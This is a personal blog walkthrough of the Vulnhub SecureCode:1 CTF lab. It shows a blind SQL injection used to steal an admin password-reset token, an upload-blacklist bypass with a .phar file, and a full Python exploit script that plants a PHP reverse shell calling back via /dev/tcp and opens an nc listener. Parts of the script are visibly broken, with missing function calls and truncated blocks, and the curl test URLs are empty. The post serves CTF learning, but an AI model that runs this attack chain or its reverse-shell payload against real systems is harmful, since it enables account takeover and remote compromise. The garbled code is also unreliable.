Windy's little blog

一切生活中的杂七杂八, and I like CTF.

Vulnhub SecureCode:1 Walkthrough (An OSWE-like machine),651/

Because there is POC code at the end of the blog, so the walkthrough will be simple.

Scan ports, only find 80.

Scan port 80, with extension .zip.


Download, unzip it, and analyse the source code.

From db.sql, we know there are 2 users: admin and customer. Also, there are 4 items.


First we can not bypass login check, because mysqli_real_escape_string bypass some special characters.

To bypass mysqli_real_escape_string, we need number, no string. Apparently, username and password are all string type.


After some checking, we found viewItem.php is the only file,  that has no "include "../include/isAuthenticated.php"", and accept number type param "id".


We may do a simple test, if viewItem.php is vulnerable to sql injection.

Be careful of the code, if the query is success, response is 404.  We use curl to check the response header code.

└─$ curl -I  ""       
HTTP/1.1 404 Not Found
└─$ curl -I  ""       
HTTP/1.1 302 Found
Content-Type: text/html; charset=UTF-8
└─$ curl -I  ""
HTTP/1.1 404 Not Found
└─$ curl -I  ""
HTTP/1.1 302 Found

So here do have a SQL injection. This is the most hard part I think, the following things are easy.

In order to become admin, we need to reset password, then the server will generate a special token for admin.

"doResetPassword.php" will need this token as param.


Sqlmap can dump all the databases, including token for admin.


Then we can reset the password with this token.


With the new password, we can login as admin, and get 1st flag.

After login, we need to upload reverse shell.

At panel ITEM, we can upload only image files, because some danger files are in blacklist.


We change our reverse shell file to *.phar, then we can successfully bypass the blacklist, and get reverse shell. Then get 2nd flag.

The last step is to write a POC.

Thanks for this great code:

I just change it to python3 version, for learning purpose.

This POC code is a modified copy of original one:
Just for self learning and practise.
import requests
import sys
import random
import string
import re
import time
import subprocess
from colorama import Fore, Back, Style
def viewItem(s, target, query):
    url = f"http://{target}/item/viewItem.php?id=5+or+{query}"
    r = s.get(url)
    #Sql get data, target return 404, we return TRUE, means success
    return int(r.status_code) == 404
def is_injectable(s, target):
    return viewItem(s, target, "1=1") == True and viewItem(s, target, "1=0") ==False
if __name__ == "__main__":
    if len(sys.argv) != 4:
        print(f"[+] Usage:{sys.argv[0]} <target> <lhost> <lport>")
    print("Poc code for SecureCode1@Vulnhub")
    target = sys.argv[1]
    lhost = sys.argv[2]
    lport = sys.argv[3]
    s = requests.Session()
    #check if sql injection is available
    if is_injectable(s, target):
        print(f"{Fore.GREEN}[+] Target is vulnerable!{Fore.RESET}")
    #reset the admin's password through token
    print("[*] Sending request to create a password reset token for admin...")"http://{target}/login/resetPassword.php", data={"username":"admin"})
    print("[*] Dumping admin's reset token...")
    token_query = "(select+ascii(substr((select+token+from+user+where+id=1),%d,1)))%s%d"
    admin_token = ""
    sys.stdout.write(f"{Fore.YELLOW}[+] ")
    for i in range(1,20):
        low = 32
        high = 126
        mid = 0
        found = False
        while low <= high and not found:
            mid = (high + low) // 2
            if viewItem(s,target, token_query % (i,">",mid)):
                low = mid + 1
            elif viewItem(s, target, token_query % (i,"<",mid)):
                high = mid - 1
                admin_token += chr(mid)
                found = True
        if not found:
    new_password = ''.join(random.choice(string.ascii_lowercase) for _ in range(10))
    url = f"http://{target}/login/doChangePassword.php"
    r =, data={"token":admin_token,"password":new_password})
    if "Success!" in r.text:
        print(f"{Fore.GREEN}[+] Admin password changed to: {new_password}{Fore.RESET}")
        print(f"{Fore.RED}[+] Admin password change failed!{Fore.RESET}")
    # log in as admin
    url = f"http://{target}/login/checkLogin.php"
    data = {
    r =, data=data)
    if "Success!" in r.text:
        print(f"{Fore.GREEN}[+] Successfully logged in as admin.{Fore.RESET}")
        print(f"{Fore.RED}[+] Admin log in failed!{Fore.RESET}")
    #dump the 1st flag
    flag_regex = re.compile("FLAG1: [\da-f]*")
    flag = flag_regex.findall(r.text)[0][7:]
    print(f"{Style.BRIGHT}{Fore.GREEN}[+] Flag #1 ==> {flag}{Style.RESET_ALL}")
    #upload reverse shell code
    print("[*] Uploading reverse shell...")
    url = f"http://{target}/item/updateItem.php"
    shell_name = ''.join(random.choice(string.ascii_lowercase) for _ in range(15)) + '.phar'
    shell_code = f"<?php exec(\"/bin/bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'\");?>"
    files = {
                'id':          (None, 1),
                'id_user':     (None, 1),
                'name':        (None, 'A Web Shell?'),
                'image':       (shell_name, shell_code),
                'description': (None, 'Oops...'),
                'price':       (None, 1337)
    r =, files=files)
    if "Success" in r.text:
        print(f"{Fore.GREEN}[+] Reverse shell \"{shell_name}\" successfully uploaded.{Fore.RESET}")
        print(f"{Fore.RED}[+] Shell upload failed!{Fore.RESET}")
    #connect to shell
    print("[*] Connecting to reverse shell...")
    print("[+] Type cat /var/www/flag2.txt")
    sub = subprocess.Popen(["nc","-nlvp",lport])



Powered By Z-BlogPHP 1.7.0